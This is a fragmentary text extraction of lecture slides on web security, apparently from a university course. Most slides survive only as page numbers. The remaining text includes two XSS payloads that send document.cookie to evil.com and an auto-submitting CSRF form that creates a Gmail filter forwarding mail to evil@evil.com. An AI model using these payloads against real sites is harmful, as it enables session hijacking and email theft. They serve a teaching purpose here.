web security (part 2)
1
web security (part 2) 1 Changelog Corrections made in this version - - PowerPoint PPT Presentation
web security (part 2) 1 Changelog Corrections made in this version not in fjrst posting: 25 April 2017: removed text about reading contents without sending cokoies from operations not requiring same origin slide. (This can be done with
1
1
2
3
4
5
6
6
<img src="javascript:(new Image()).src= 'http://evil.com/' + document.cookie">
<img src=x onerror="(new Image()).src= 'http://evil.com/' + document.cookie">
via https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
7
8
9
9
10
11
12
13
14
15
16
17
18
https://www.bishopfox.com/blog/2016/04/if-you-cant-break-crypto-break-the-client-recovery-of-plaintext-imessage-data/
19
https://www.bishopfox.com/blog/2016/04/if-you-cant-break-crypto-break-the-client-recovery-of-plaintext-imessage-data/
20
21
22
23
24
25
֒ →
via https://robinlinus.github.io/socialmedia-leak/
26
27
28
29
30
<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data"> <input type="hidden" name="cf2_emc" value="true"/> <input type="hidden" name="cf2_email" value="evil@evil.com"/> ... <input type="hidden" name="s" value="z"/> <input type="hidden" name="irf" value="on"/> <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> </form> <script> document.forms[0].submit(); </script>
31
32
32
33
34
34
35
36
37
38
39
40
41
42
43
GET /login/ Set-Cookie: ExSessionID=... goto socialnetwork/login/?for=example.com GET /login/?for=example.com Cookie: SNSessionID=... goto example.com/loggedin?token=... GET /loggedin?token=... Cookie: ExSessionID=... goto example.com/frontpage
44
GET /login/ Set-Cookie: ExSessionID=... goto socialnetwork/login/?for=example.com GET /login/?for=example.com Cookie: SNSessionID=... goto example.com/loggedin?token=... GET /loggedin?token=... Cookie: ExSessionID=... goto example.com/frontpage
44
GET /login/ Set-Cookie: ExSessionID=... goto socialnetwork/login/?for=example.com GET /login/?for=example.com Cookie: SNSessionID=... goto example.com/loggedin?token=... GET /loggedin?token=... Cookie: ExSessionID=... goto example.com/frontpage
44
GET /login/ Set-Cookie: ExSessionID=... goto socialnetwork/login/?for=example.com GET /login/?for=example.com Cookie: SNSessionID=... goto example.com/loggedin?token=... GET /loggedin?token=... Cookie: ExSessionID=... goto example.com/frontpage
44
45
46
47
48
48
49
tracking code has callbacks to third-party
50
51
51
52
53
54
55
55
55
55
56
57
58
59
60
61
62
63
64